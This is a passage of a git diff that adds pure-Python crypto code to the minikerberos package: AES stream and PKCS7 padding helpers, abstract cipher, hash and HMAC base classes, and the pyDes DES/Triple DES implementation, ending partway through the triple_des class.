+def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
+    'Encrypts a stream of bytes from in_stream to out_stream using mode.'
+
+    encrypter = Encrypter(mode, padding = padding)
+    _feed_stream(encrypter, in_stream, out_stream, block_size)
+
+
+def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):
+    'Decrypts a stream of bytes from in_stream to out_stream using mode.'
+
+    decrypter = Decrypter(mode, padding = padding)
+    _feed_stream(decrypter, in_stream, out_stream, block_size)
diff --git a/minikerberos/crypto/AES/util.py b/minikerberos/crypto/AES/util.py
new file mode 100644
index 0000000..a73791f
--- /dev/null
+++ b/minikerberos/crypto/AES/util.py
@@ -0,0 +1,62 @@
+
+#https://github.com/ricmoo/pyaes/blob/master/pyaes/util.py
+# The MIT License (MIT)
+#
+# Copyright (c) 2014 Richard Moore
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+# Why to_bufferable?
+# Python 3 is very different from Python 2.x when it comes to strings of text
+# and strings of bytes; in Python 3, strings of bytes do not exist, instead to
+# represent arbitrary binary data, we must use the "bytes" object. This method
+# ensures the object behaves as we need it to.
+
+def to_bufferable(binary):
+    return binary
+
+def _get_byte(c):
+    return ord(c)
+
+try:
+    xrange
+except:
+
+    def to_bufferable(binary):
+        if isinstance(binary, bytes):
+            return binary
+        return bytes(ord(b) for b in binary)
+
+    def _get_byte(c):
+        return c
+
+def append_PKCS7_padding(data):
+    pad = 16 - (len(data) % 16)
+    return data + to_bufferable(chr(pad) * pad)
+
+def strip_PKCS7_padding(data):
+    if len(data) % 16 != 0:
+        raise ValueError("invalid length")
+
+    pad = _get_byte(data[-1])
+
+    if pad > 16:
+        raise ValueError("invalid padding byte")
+
+    return data[:-pad]
diff --git a/minikerberos/crypto/BASE.py b/minikerberos/crypto/BASE.py
new file mode 100644
index 0000000..8199a24
--- /dev/null
+++ b/minikerberos/crypto/BASE.py
@@ -0,0 +1,73 @@
+from abc import ABC, abstractmethod
+import enum
+
+class cipherMODE(enum.Enum):
+	ECB = enum.auto()
+	CBC = enum.auto()
+	CTR = enum.auto()
+
+class symmetricBASE():
+	def __init__(self):
+		self._cipher = None
+		self.setup_cipher()
+
+	@abstractmethod
+	def setup_cipher(self):
+		#create the hash object here
+		pass
+
+	@abstractmethod
+	def encrypt(self, data):
+		pass
+
+	@abstractmethod
+	def decrypt(self):
+		pass
+
+class hashBASE():
+	def __init__(self, data):
+		self._hash = None
+		self.setup_hash()
+
+		if data is not None:
+			self._hash.update(data)
+
+	@abstractmethod
+	def setup_hash(self):
+		#create the hash object here
+		pass
+
+	@abstractmethod
+	def update(self, data):
+		pass
+
+	@abstractmethod
+	def digest(self):
+		pass
+
+	@abstractmethod
+	def hexdigest(self):
+		pass
+
+class hmacBASE():
+	def __init__(self, key):
+		self._key = key
+		self._hash = None
+		self.setup_hash()
+
+	@abstractmethod
+	def setup_hash(self):
+		#create the hash object here
+		pass
+
+	@abstractmethod
+	def update(self, data):
+		pass
+
+	@abstractmethod
+	def digest(self):
+		pass
+
+	@abstractmethod
+	def hexdigest(self):
+		pass
\ No newline at end of file
diff --git a/minikerberos/crypto/DES/DES.py b/minikerberos/crypto/DES/DES.py
new file mode 100644
index 0000000..e7cb7ea
--- /dev/null
+++ b/minikerberos/crypto/DES/DES.py
@@ -0,0 +1,852 @@
+#############################################################################
+# 				Documentation				    #
+#############################################################################
+
+# Author:   Todd Whiteman
+# Date:     28th April, 2010
+# Version:  2.0.1
+# License:  MIT
+# Homepage: http://twhiteman.netfirms.com/des.html
+#
+# This is a pure python implementation of the DES encryption algorithm.
+# It's pure python to avoid portability issues, since most DES 
+# implementations are programmed in C (for performance reasons).
+#
+# Triple DES class is also implemented, utilizing the DES base. Triple DES
+# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
+#
+# See the README.txt that should come with this python module for the
+# implementation methods used.
+#
+# Thanks to:
+#  * David Broadwell for ideas, comments and suggestions.
+#  * Mario Wolff for pointing out and debugging some triple des CBC errors.
+#  * Santiago Palladino for providing the PKCS5 padding technique.
+#  * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
+#
+"""A pure python implementation of the DES and TRIPLE DES encryption algorithms.
+
+Class initialization
+--------------------
+pyDes.des(key, [mode], [IV], [pad], [padmode])
+pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
+
+key     -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
+	   for Triple DES
+mode    -> Optional argument for encryption type, can be either
+	   pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
+IV      -> Optional Initial Value bytes, must be supplied if using CBC mode.
+	   Length must be 8 bytes.
+pad     -> Optional argument, set the pad character (PAD_NORMAL) to use during
+	   all encrypt/decrypt operations done with this instance.
+padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
+	   to use during all encrypt/decrypt operations done with this instance.
+
+I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
+padding issues, as the padding can be removed unambiguously upon decrypting
+data that was encrypted using PAD_PKCS5 padmode.
+
+Common methods
+--------------
+encrypt(data, [pad], [padmode])
+decrypt(data, [pad], [padmode])
+
+data    -> Bytes to be encrypted/decrypted
+pad     -> Optional argument. Only when using padmode of PAD_NORMAL. For
+	   encryption, adds this characters to the end of the data block when
+	   data is not a multiple of 8 bytes. For decryption, will remove the
+	   trailing characters that match this pad character from the last 8
+	   bytes of the unencrypted data block.
+padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
+	   or PAD_PKCS5). Defaults to PAD_NORMAL.
+	  
+
+Example
+-------
+from pyDes import *
+
+data = "Please encrypt my data"
+k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
+# For Python3, you'll need to use bytes, i.e.:
+#   data = b"Please encrypt my data"
+#   k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
+d = k.encrypt(data)
+print "Encrypted: %r" % d
+print "Decrypted: %r" % k.decrypt(d)
+assert k.decrypt(d, padmode=PAD_PKCS5) == data
+
+
+See the module source (pyDes.py) for more examples of use.
+You can also run the pyDes.py file without and arguments to see a simple test.
+
+Note: This code was not written for high-end systems needing a fast
+      implementation, but rather a handy portable solution with small usage.
+
+"""
+
+import sys
+
+# _pythonMajorVersion is used to handle Python2 and Python3 differences.
+_pythonMajorVersion = sys.version_info[0]
+
+# Modes of crypting / cyphering
+ECB =	0
+CBC =	1
+
+# Modes of padding
+PAD_NORMAL = 1
+PAD_PKCS5 = 2
+
+# PAD_PKCS5: is a method that will unambiguously remove all padding
+#            characters after decryption, when originally encrypted with
+#            this padding mode.
+# For a good description of the PKCS5 padding technique, see:
+# http://www.faqs.org/rfcs/rfc1423.html
+
+# The base class shared by des and triple des.
+class _baseDes(object):
+	def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
+		if IV:
+			IV = self._guardAgainstUnicode(IV)
+		if pad:
+			pad = self._guardAgainstUnicode(pad)
+		self.block_size = 8
+		# Sanity checking of arguments.
+		if pad and padmode == PAD_PKCS5:
+			raise ValueError("Cannot use a pad character with PAD_PKCS5")
+		if IV and len(IV) != self.block_size:
+			raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
+
+		# Set the passed in variables
+		self._mode = mode
+		self._iv = IV
+		self._padding = pad
+		self._padmode = padmode
+
+	def getKey(self):
+		"""getKey() -> bytes"""
+		return self.__key
+
+	def setKey(self, key):
+		"""Will set the crypting key for this object."""
+		key = self._guardAgainstUnicode(key)
+		self.__key = key
+
+	def getMode(self):
+		"""getMode() -> pyDes.ECB or pyDes.CBC"""
+		return self._mode
+
+	def setMode(self, mode):
+		"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
+		self._mode = mode
+
+	def getPadding(self):
+		"""getPadding() -> bytes of length 1. Padding character."""
+		return self._padding
+
+	def setPadding(self, pad):
+		"""setPadding() -> bytes of length 1. Padding character."""
+		if pad is not None:
+			pad = self._guardAgainstUnicode(pad)
+		self._padding = pad
+
+	def getPadMode(self):
+		"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
+		return self._padmode
+		
+	def setPadMode(self, mode):
+		"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
+		self._padmode = mode
+
+	def getIV(self):
+		"""getIV() -> bytes"""
+		return self._iv
+
+	def setIV(self, IV):
+		"""Will set the Initial Value, used in conjunction with CBC mode"""
+		if not IV or len(IV) != self.block_size:
+			raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
+		IV = self._guardAgainstUnicode(IV)
+		self._iv = IV
+
+	def _padData(self, data, pad, padmode):
+		# Pad data depending on the mode
+		if padmode is None:
+			# Get the default padding mode.
+			padmode = self.getPadMode()
+		if pad and padmode == PAD_PKCS5:
+			raise ValueError("Cannot use a pad character with PAD_PKCS5")
+
+		if padmode == PAD_NORMAL:
+			if len(data) % self.block_size == 0:
+				# No padding required.
+				return data
+
+			if not pad:
+				# Get the default padding.
+				pad = self.getPadding()
+			if not pad:
+				raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
+			data += (self.block_size - (len(data) % self.block_size)) * pad
+		
+		elif padmode == PAD_PKCS5:
+			pad_len = 8 - (len(data) % self.block_size)
+			if _pythonMajorVersion < 3:
+				data += pad_len * chr(pad_len)
+			else:
+				data += bytes([pad_len] * pad_len)
+
+		return data
+
+	def _unpadData(self, data, pad, padmode):
+		# Unpad data depending on the mode.
+		if not data:
+			return data
+		if pad and padmode == PAD_PKCS5:
+			raise ValueError("Cannot use a pad character with PAD_PKCS5")
+		if padmode is None:
+			# Get the default padding mode.
+			padmode = self.getPadMode()
+
+		if padmode == PAD_NORMAL:
+			if not pad:
+				# Get the default padding.
+				pad = self.getPadding()
+			if pad:
+				data = data[:-self.block_size] + \
+				       data[-self.block_size:].rstrip(pad)
+
+		elif padmode == PAD_PKCS5:
+			if _pythonMajorVersion < 3:
+				pad_len = ord(data[-1])
+			else:
+				pad_len = data[-1]
+			data = data[:-pad_len]
+
+		return data
+
+	def _guardAgainstUnicode(self, data):
+		# Only accept byte strings or ascii unicode values, otherwise
+		# there is no way to correctly decode the data into bytes.
+		if _pythonMajorVersion < 3:
+			if isinstance(data, unicode):
+				raise ValueError("pyDes can only work with bytes, not Unicode strings.")
+		else:
+			if isinstance(data, str):
+				# Only accept ascii unicode values.
+				try:
+					return data.encode('ascii')
+				except UnicodeEncodeError:
+					pass
+				raise ValueError("pyDes can only work with encoded strings, not Unicode.")
+		return data
+
+#############################################################################
+# 				    DES					    #
+#############################################################################
+class des(_baseDes):
+	"""DES encryption/decrytpion class
+
+	Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
+
+	pyDes.des(key,[mode], [IV])
+
+	key  -> Bytes containing the encryption key, must be exactly 8 bytes
+	mode -> Optional argument for encryption type, can be either pyDes.ECB
+		(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
+	IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.
+		Must be 8 bytes in length.
+	pad  -> Optional argument, set the pad character (PAD_NORMAL) to use
+		during all encrypt/decrypt operations done with this instance.
+	padmode -> Optional argument, set the padding mode (PAD_NORMAL or
+		PAD_PKCS5) to use during all encrypt/decrypt operations done
+		with this instance.
+	"""
+
+
+	# Permutation and translation tables for DES
+	__pc1 = [56, 48, 40, 32, 24, 16,  8,
+		  0, 57, 49, 41, 33, 25, 17,
+		  9,  1, 58, 50, 42, 34, 26,
+		 18, 10,  2, 59, 51, 43, 35,
+		 62, 54, 46, 38, 30, 22, 14,
+		  6, 61, 53, 45, 37, 29, 21,
+		 13,  5, 60, 52, 44, 36, 28,
+		 20, 12,  4, 27, 19, 11,  3
+	]
+
+	# number left rotations of pc1
+	__left_rotations = [
+		1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
+	]
+
+	# permuted choice key (table 2)
+	__pc2 = [
+		13, 16, 10, 23,  0,  4,
+		 2, 27, 14,  5, 20,  9,
+		22, 18, 11,  3, 25,  7,
+		15,  6, 26, 19, 12,  1,
+		40, 51, 30, 36, 46, 54,
+		29, 39, 50, 44, 32, 47,
+		43, 48, 38, 55, 33, 52,
+		45, 41, 49, 35, 28, 31
+	]
+
+	# initial permutation IP
+	__ip = [57, 49, 41, 33, 25, 17, 9,  1,
+		59, 51, 43, 35, 27, 19, 11, 3,
+		61, 53, 45, 37, 29, 21, 13, 5,
+		63, 55, 47, 39, 31, 23, 15, 7,
+		56, 48, 40, 32, 24, 16, 8,  0,
+		58, 50, 42, 34, 26, 18, 10, 2,
+		60, 52, 44, 36, 28, 20, 12, 4,
+		62, 54, 46, 38, 30, 22, 14, 6
+	]
+
+	# Expansion table for turning 32 bit blocks into 48 bits
+	__expansion_table = [
+		31,  0,  1,  2,  3,  4,
+		 3,  4,  5,  6,  7,  8,
+		 7,  8,  9, 10, 11, 12,
+		11, 12, 13, 14, 15, 16,
+		15, 16, 17, 18, 19, 20,
+		19, 20, 21, 22, 23, 24,
+		23, 24, 25, 26, 27, 28,
+		27, 28, 29, 30, 31,  0
+	]
+
+	# The (in)famous S-boxes
+	__sbox = [
+		# S1
+		[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
+		 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
+		 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
+		 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
+
+		# S2
+		[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
+		 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
+		 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
+		 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
+
+		# S3
+		[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
+		 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
+		 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
+		 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
+
+		# S4
+		[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
+		 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
+		 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
+		 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
+
+		# S5
+		[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
+		 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
+		 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
+		 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
+
+		# S6
+		[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
+		 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
+		 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
+		 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
+
+		# S7
+		[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
+		 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
+		 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
+		 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
+
+		# S8
+		[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
+		 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
+		 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
+		 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
+	]
+
+
+	# 32-bit permutation function P used on the output of the S-boxes
+	__p = [
+		15, 6, 19, 20, 28, 11,
+		27, 16, 0, 14, 22, 25,
+		4, 17, 30, 9, 1, 7,
+		23,13, 31, 26, 2, 8,
+		18, 12, 29, 5, 21, 10,
+		3, 24
+	]
+
+	# final permutation IP^-1
+	__fp = [
+		39,  7, 47, 15, 55, 23, 63, 31,
+		38,  6, 46, 14, 54, 22, 62, 30,
+		37,  5, 45, 13, 53, 21, 61, 29,
+		36,  4, 44, 12, 52, 20, 60, 28,
+		35,  3, 43, 11, 51, 19, 59, 27,
+		34,  2, 42, 10, 50, 18, 58, 26,
+		33,  1, 41,  9, 49, 17, 57, 25,
+		32,  0, 40,  8, 48, 16, 56, 24
+	]
+
+	# Type of crypting being done
+	ENCRYPT =	0x00
+	DECRYPT =	0x01
+
+	# Initialisation
+	def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
+		# Sanity checking of arguments.
+		if len(key) != 8:
+			raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
+		_baseDes.__init__(self, mode, IV, pad, padmode)
+		self.key_size = 8
+
+		self.L = []
+		self.R = []
+		self.Kn = [ [0] * 48 ] * 16	# 16 48-bit keys (K1 - K16)
+		self.final = []
+
+		self.setKey(key)
+
+	def setKey(self, key):
+		"""Will set the crypting key for this object. Must be 8 bytes."""
+		_baseDes.setKey(self, key)
+		self.__create_sub_keys()
+
+	def __String_to_BitList(self, data):
+		"""Turn the string data, into a list of bits (1, 0)'s"""
+		if _pythonMajorVersion < 3:
+			# Turn the strings into integers. Python 3 uses a bytes
+			# class, which already has this behaviour.
+			data = [ord(c) for c in data]
+		l = len(data) * 8
+		result = [0] * l
+		pos = 0
+		for ch in data:
+			i = 7
+			while i >= 0:
+				if ch & (1 << i) != 0:
+					result[pos] = 1
+				else:
+					result[pos] = 0
+				pos += 1
+				i -= 1
+
+		return result
+
+	def __BitList_to_String(self, data):
+		"""Turn the list of bits -> data, into a string"""
+		result = []
+		pos = 0
+		c = 0
+		while pos < len(data):
+			c += data[pos] << (7 - (pos % 8))
+			if (pos % 8) == 7:
+				result.append(c)
+				c = 0
+			pos += 1
+
+		if _pythonMajorVersion < 3:
+			return ''.join([ chr(c) for c in result ])
+		else:
+			return bytes(result)
+
+	def __permutate(self, table, block):
+		"""Permutate this block with the specified table"""
+		return list(map(lambda x: block[x], table))
+	
+	# Transform the secret key, so that it is ready for data processing
+	# Create the 16 subkeys, K[1] - K[16]
+	def __create_sub_keys(self):
+		"""Create the 16 subkeys K[1] to K[16] from the given key"""
+		key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
+		i = 0
+		# Split into Left and Right sections
+		self.L = key[:28]
+		self.R = key[28:]
+		while i < 16:
+			j = 0
+			# Perform circular left shifts
+			while j < des.__left_rotations[i]:
+				self.L.append(self.L[0])
+				del self.L[0]
+
+				self.R.append(self.R[0])
+				del self.R[0]
+
+				j += 1
+
+			# Create one of the 16 subkeys through pc2 permutation
+			self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
+
+			i += 1
+
+	# Main part of the encryption algorithm, the number cruncher :)
+	def __des_crypt(self, block, crypt_type):
+		"""Crypt the block of data through DES bit-manipulation"""
+		block = self.__permutate(des.__ip, block)
+		self.L = block[:32]
+		self.R = block[32:]
+
+		# Encryption starts from Kn[1] through to Kn[16]
+		if crypt_type == des.ENCRYPT:
+			iteration = 0
+			iteration_adjustment = 1
+		# Decryption starts from Kn[16] down to Kn[1]
+		else:
+			iteration = 15
+			iteration_adjustment = -1
+
+		i = 0
+		while i < 16:
+			# Make a copy of R[i-1], this will later become L[i]
+			tempR = self.R[:]
+
+			# Permutate R[i - 1] to start creating R[i]
+			self.R = self.__permutate(des.__expansion_table, self.R)
+
+			# Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
+			self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
+			B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
+			# Optimization: Replaced below commented code with above
+			#j = 0
+			#B = []
+			#while j < len(self.R):
+			#	self.R[j] = self.R[j] ^ self.Kn[iteration][j]
+			#	j += 1
+			#	if j % 6 == 0:
+			#		B.append(self.R[j-6:j])
+
+			# Permutate B[1] to B[8] using the S-Boxes
+			j = 0
+			Bn = [0] * 32
+			pos = 0
+			while j < 8:
+				# Work out the offsets
+				m = (B[j][0] << 1) + B[j][5]
+				n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
+
+				# Find the permutation value
+				v = des.__sbox[j][(m << 4) + n]
+
+				# Turn value into bits, add it to result: Bn
+				Bn[pos] = (v & 8) >> 3
+				Bn[pos + 1] = (v & 4) >> 2
+				Bn[pos + 2] = (v & 2) >> 1
+				Bn[pos + 3] = v & 1
+
+				pos += 4
+				j += 1
+
+			# Permutate the concatination of B[1] to B[8] (Bn)
+			self.R = self.__permutate(des.__p, Bn)
+
+			# Xor with L[i - 1]
+			self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
+			# Optimization: This now replaces the below commented code
+			#j = 0
+			#while j < len(self.R):
+			#	self.R[j] = self.R[j] ^ self.L[j]
+			#	j += 1
+
+			# L[i] becomes R[i - 1]
+			self.L = tempR
+
+			i += 1
+			iteration += iteration_adjustment
+		
+		# Final permutation of R[16]L[16]
+		self.final = self.__permutate(des.__fp, self.R + self.L)
+		return self.final
+
+
+	# Data to be encrypted/decrypted
+	def crypt(self, data, crypt_type):
+		"""Crypt the data in blocks, running it through des_crypt()"""
+
+		# Error check the data
+		if not data:
+			return ''
+		if len(data) % self.block_size != 0:
+			if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
+				raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
+			if not self.getPadding():
+				raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
+			else:
+				data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
+			# print "Len of data: %f" % (len(data) / self.block_size)
+
+		if self.getMode() == CBC:
+			if self.getIV():
+				iv = self.__String_to_BitList(self.getIV())
+			else:
+				raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
+
+		# Split the data into blocks, crypting each one seperately
+		i = 0
+		dict = {}
+		result = []
+		#cached = 0
+		#lines = 0
+		while i < len(data):
+			# Test code for caching encryption results
+			#lines += 1
+			#if dict.has_key(data[i:i+8]):
+				#print "Cached result for: %s" % data[i:i+8]
+			#	cached += 1
+			#	result.append(dict[data[i:i+8]])
+			#	i += 8
+			#	continue
+				
+			block = self.__String_to_BitList(data[i:i+8])
+
+			# Xor with IV if using CBC mode
+			if self.getMode() == CBC:
+				if crypt_type == des.ENCRYPT:
+					block = list(map(lambda x, y: x ^ y, block, iv))
+					#j = 0
+					#while j < len(block):
+					#	block[j] = block[j] ^ iv[j]
+					#	j += 1
+
+				processed_block = self.__des_crypt(block, crypt_type)
+
+				if crypt_type == des.DECRYPT:
+					processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
+					#j = 0
+					#while j < len(processed_block):
+					#	processed_block[j] = processed_block[j] ^ iv[j]
+					#	j += 1
+					iv = block
+				else:
+					iv = processed_block
+			else:
+				processed_block = self.__des_crypt(block, crypt_type)
+
+
+			# Add the resulting crypted block to our list
+			#d = self.__BitList_to_String(processed_block)
+			#result.append(d)
+			result.append(self.__BitList_to_String(processed_block))
+			#dict[data[i:i+8]] = d
+			i += 8
+
+		# print "Lines: %d, cached: %d" % (lines, cached)
+
+		# Return the full crypted string
+		if _pythonMajorVersion < 3:
+			return ''.join(result)
+		else:
+			return bytes.fromhex('').join(result)
+
+	def encrypt(self, data, pad=None, padmode=None):
+		"""encrypt(data, [pad], [padmode]) -> bytes
+
+		data : Bytes to be encrypted
+		pad  : Optional argument for encryption padding. Must only be one byte
+		padmode : Optional argument for overriding the padding mode.
+
+		The data must be a multiple of 8 bytes and will be encrypted
+		with the already specified key. Data does not have to be a
+		multiple of 8 bytes if the padding character is supplied, or
+		the padmode is set to PAD_PKCS5, as bytes will then added to
+		ensure the be padded data is a multiple of 8 bytes.
+		"""
+		data = self._guardAgainstUnicode(data)
+		if pad is not None:
+			pad = self._guardAgainstUnicode(pad)
+		data = self._padData(data, pad, padmode)
+		return self.crypt(data, des.ENCRYPT)
+
+	def decrypt(self, data, pad=None, padmode=None):
+		"""decrypt(data, [pad], [padmode]) -> bytes
+
+		data : Bytes to be decrypted
+		pad  : Optional argument for decryption padding. Must only be one byte
+		padmode : Optional argument for overriding the padding mode.
+
+		The data must be a multiple of 8 bytes and will be decrypted
+		with the already specified key. In PAD_NORMAL mode, if the
+		optional padding character is supplied, then the un-encrypted
+		data will have the padding characters removed from the end of
+		the bytes. This pad removal only occurs on the last 8 bytes of
+		the data (last data block). In PAD_PKCS5 mode, the special
+		padding end markers will be removed from the data after decrypting.
+		"""
+		data = self._guardAgainstUnicode(data)
+		if pad is not None:
+			pad = self._guardAgainstUnicode(pad)
+		data = self.crypt(data, des.DECRYPT)
+		return self._unpadData(data, pad, padmode)
+
+
+
+#############################################################################
+# 				Triple DES				    #
+#############################################################################
+class triple_des(_baseDes):
+	"""Triple DES encryption/decrytpion class
+
+	This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
+	the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
+	Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
+
+	pyDes.des(key, [mode], [IV])
+
+	key  -> Bytes containing the encryption key, must be either 16 or
+	        24 bytes long
+	mode -> Optional argument for encryption type, can be either pyDes.ECB
+		(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
+	IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.
+		Must be 8 bytes in length.
+	pad  -> Optional argument, set the pad character (PAD_NORMAL) to use
+		during all encrypt/decrypt operations done with this instance.
+	padmode -> Optional argument, set the padding mode (PAD_NORMAL or
+		PAD_PKCS5) to use during all encrypt/decrypt operations done
+		with this instance.
+	"""
+	def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
+		_baseDes.__init__(self, mode, IV, pad, padmode)
+		self.setKey(key)
+
+	def setKey(self, key):
+		"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
+		self.key_size = 24  # Use DES-EDE3 mode
+		if len(key) != self.key_size:
+			if len(key) == 16: # Use DES-EDE2 mode
+				self.key_size = 16
+			else:
+				raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
+		if self.getMode() == CBC:
+			if not self.getIV():
+				# Use the first 8 bytes of the key
+				self._iv = key[:self.block_size]
+			if len(self.getIV()) != self.block_size:
+				raise ValueError("Invalid IV, must be 8 bytes in length")
+		self.__key1 = des(key[:8], self._mode, self._iv,
+				  self._padding, self._padmode)
+		self.__key2 = des(key[8:16], self._mode, self._iv,
+				  self._padding, self._padmode)
+		if self.key_size == 16:
+			self.__key3 = self.__key1
+		else:
+			self.__key3 = des(key[16:], self._mode, self._iv,
+					  self._padding, self._padmode)
+		_baseDes.setKey(self, key)
+
+	# Override setter methods to work on all 3 keys.
+
+	def setMode(self, mode):
+		"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
+		_baseDes.setMode(self, mode)
+		for key in (self.__key1, self.__key2, self.__key3):
+			key.setMode(mode)
+
+	def setPadding(self, pad):
+		"""setPadding() -> bytes of length 1. Padding character."""
+		_baseDes.setPadding(self, pad)
+		for key in (self.__key1, self.__key2, self.__key3):
+			key.setPadding(pad)
+
+	def setPadMode(self, mode):
+		"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
+		_baseDes.setPadMode(self, mode)
+		for key in (self.__key1, self.__key2, self.__key3):
+			key.setPadMode(mode)
+
+	def setIV(self, IV):
